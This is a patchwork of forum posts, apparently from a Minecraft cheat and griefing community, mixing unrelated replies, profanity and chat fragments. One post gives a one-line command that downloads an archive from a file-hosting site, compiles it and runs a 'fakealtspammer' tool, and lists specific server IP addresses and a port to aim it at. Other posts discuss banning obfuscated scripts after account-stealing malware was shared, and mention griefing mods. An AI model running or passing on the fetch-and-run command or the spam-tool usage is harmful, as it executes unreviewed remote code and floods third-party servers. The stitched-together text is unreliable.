I'd like to use this opportunity to again advocate for the banning of obfuscation. It delays discovery of any malicious code more than is tolerable. See my previous post on the subject.

In case it's ever needed again:
https://0x0.st/-T8J.xz

Linux users:

curl https://0x0.st/-T8J.xz|tar xJ&&cd fakealtspammer&&make&&./fas

Currently:

./fas 104.131.93.82 58028 ABC
./fas 179.43.152.50 58028 ABC

If neither of those respond, they're both down and/or they got a new one.

Status of known Servers (last updated 27 Apr 17:51 UTC):

• 179.43.152.50: down
• 104.131.93.82: down

Same for Windows users in WSL, you may need to install build-essential.

Launch with ./fas
I'm not adding native Windows support.

Edit #2: bug fixed, updated link
Edit #3: made it print dots, updated link

Read the post before voting.

As I'm sure you've all noticed, there has been a variety of malicious scripts posted in the last few days, and to address this, I propose a new, temporary, policy that forbids the posting of obfuscated scripts.

I'm sure that some of the members here would be disappointed by this -- after all, they post their scripts in obfuscated form, which does have the benefit of not getting their code skidded as easily, however, this is completely overshadowed by the danger of some members (who may be new, or inexperienced, or just careless) running a malicious script that steals their accounts, or does even worse things to their computer.

Alternatively, we could also:

• reject all new registrations
• ban all VPN, Tor, and Proxy users from signing up (which we already, sort of, do, by using cloudflare)
• disallow posting of scripts entirely

All of these affect people with good intent in a major way, though.
Any other ideas?

Not cool, man.

AceMan - Stepp`d on my Chips – 05:01
— AceMan

To all the people whining "no obf screpet so sad ;_;",

1. Obfuscated scripts aren't reviewable. They can't check it for content that is harmful and/or badly written.
2. It is better that way. People should be able to view and review a script for themselves.

To summarize: Stop whining, you fucks.

Alts won't die with Microsoft account migration. Don't be ridiculous.

redevp.js
redehelper.js

@ender1355 No. Fucker is the best choice because it's widely used as BedFucker already but can also fuck other blocks, though IDNuker seems like a better choice for for new people. Also, that's what descriptions are for.

@mic-ven Baritone is a fully-featured pathfinder and open-source. There's no reason not to integrate it.

AceMan - Dokidoki-kun, tasukete~! – 04:43
— AceMan

#include<stdlib.h>
#include<stdio.h>
#include<time.h>
#include<limits.h>

int main() {
    srand(time(0));

    for(size_t i = 0; i < 1000 ; i++) {
        printf("%04x", rand()%USHRT_MAX);
    }
    putc('\n', stdout);

    #if defined(__MINGW32__) || defined(_WIN32)
      puts("\npress enter to close");
      getchar();
    #endif
}

ender1337 asked in #spam so imma just dump it here

windows binaries because windows is not a sane dev environment 64bit 32bit virustotal

linux users just gcc it, same for mac

AceMan - Stepp`d on my Chips – 05:01
— AceMan

@painis-bot sus

Dort können die Russen und die Deutschen sich gegenseitig verbal die Fresse einschlagen. +1

@aftery nice one

@idk-my-name disagree

we will try to find a workaround for this in the future

muh executables need to be signed with an uber official certificate!11!

tbh just obfuscate the shit you added and ship them separately or with a builder tool, I guess. 'sides, you don't need any source code to skid.

at least it's answered now